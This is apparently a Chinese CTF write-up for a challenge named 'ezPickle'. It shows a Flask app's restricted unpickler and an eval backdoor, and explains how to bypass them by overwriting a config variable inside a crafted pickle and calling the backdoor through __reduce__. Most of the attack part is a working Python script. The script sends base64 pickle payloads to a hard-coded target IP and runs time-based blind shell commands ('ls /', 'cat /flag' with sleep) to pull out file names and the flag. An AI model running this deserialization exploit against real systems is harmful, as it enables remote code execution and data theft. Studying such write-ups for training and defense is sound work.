ezPickle
貌似拿到了非预期解
首先下载源码
app.py
from flask import Flask, request, session, render_template_string, url_for,redirect import pickle import io import sys import base64 import random import subprocess from config import notadmin app = Flask(__name__) class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def index(): info = request.args.get('name', '') if info is not '': x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello') if __name__ == '__main__': app.run(host='0.0.0.0', debug=True, port=5000)
这里存在pickle反序列化
config.py
notadmin={"admin":"no"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) eval(s)
存在一个可以执行eval的后门
简单分析代码,就是传入name参数,对他进行反序列化,这里注意他重写了find_class方法,当反序列化的时候会对模块就行检测,只允许config模块,同时序列化对象名字不含有 _
我们的目的很显然是执行config.py里的backdoor函数,但是反序列怎么执行到这个函数?这里利用__reduce__
__reduce__,指令码为R 取当前栈的栈顶记为args,然后把它弹掉。 取当前栈的栈顶记为f,然后把它弹掉。 以args为参数,执行函数f,把结果压进当前栈。
我们可以自己构件一个类,写它的__reduce__方法,利用__reduce__来调用backdoor函数
但是还有一个问题没解决,就是backdoor函数有一句话: if notadmin["admin"]=="yes"
我们要想办法让admin等于yes,这里用到ezPickle的变量覆盖,
尝试构造
\x80\x03cconfig\nnotadmin\n(Vadmin\nVyes\nu0
用pickletools分析:
就是取config里的notadmin,同时将admin和yes压入栈,在组合,输出。这样就完成对变量的覆盖。
同时再把前面反序列化的结果加到构造语句后面(注意开头重复去掉),即可实现执行eval函数(没回显不好测试)
但是如何利用eval呢?经过测试发现环境不能连外网,同时没回显,也不好读文件(写文件不知道可不可以,写了也不好读,但是估计不行,毕竟是静态靶机)。
通过后台扫描可以发现后台,但是要输入正确的pin码。
这里我估计我非预期了(毕竟没求出pin码,进入后台)
这里我采用盲注来尝试读取文件目录:
if [ `ls /|awk "NR=={0}"|cut -c {1} ` == {2} ];then sleep 3 ;fi
这串命令是打印根目录,awk "NR=={0}"是取第几行,cut -c是取第几个字符,在和每一个字符比较,如果成功就停止3秒
但是经过测试可以发现基本不存在停止,后来经过大量测试发现,它可能过滤==
因为 `ls /|awk "NR=={0}"|cut -c {1} ` != {2} 会发现有明显的停顿,那就反向来做,利用不等于,停止的是错误的,反之立刻有回复的是正确的
构造脚本:
config.py
notadmin={"admin":"yes"} def backdoor(cmd): if notadmin["admin"]=="yes": s=''.join(cmd) print(s) eval(s)
main.py
import pickle import pickletools import io import sys import base64 import random import urllib import os import subprocess import requests import time import string import __main__ from urllib import parse from config import backdoor str='-'+'+'+'_'+'{'+'}'+string.ascii_letters+string.digits result="" for i in range(1,5): key=0 for j in range(1,50): if key==1: break for n in str: payload='if [ `ls /|awk "NR==1"|cut -c {1} ` != {2} ];then sleep 0.15 ;fi'.format(i,j,n) #payload='if [ `cat /flag|cut -c {1} ` != {2} ];then sleep 0.15 ; fi'.format(i,j,n) class aaa(object): def __reduce__(self): return (backdoor,("__import__('os').system('"+payload+"')",)) print(payload) k="gANjY29uZmlnCm5vdGFkbWluCihWYWRtaW4KVnllcwp1MA==" t=(base64.b64decode(k)) a = aaa() a=(pickle.dumps(a,protocol=3)) a=a[2:] a=t+a #print(a) b=base64.b64encode(a) c= bytes.decode(b) #print(c) url="http://124.71.183.254:32769/?name="+c try: requests.get(url,timeout=(0.15 ,0.15 )) result=result+n print(result) break except: continue if n=='9': key=1 result+=" "
打印目录:
查询flag:
hint:比赛当天环境很恶劣(因此又加了3个靶机),因此sleep时间可以修改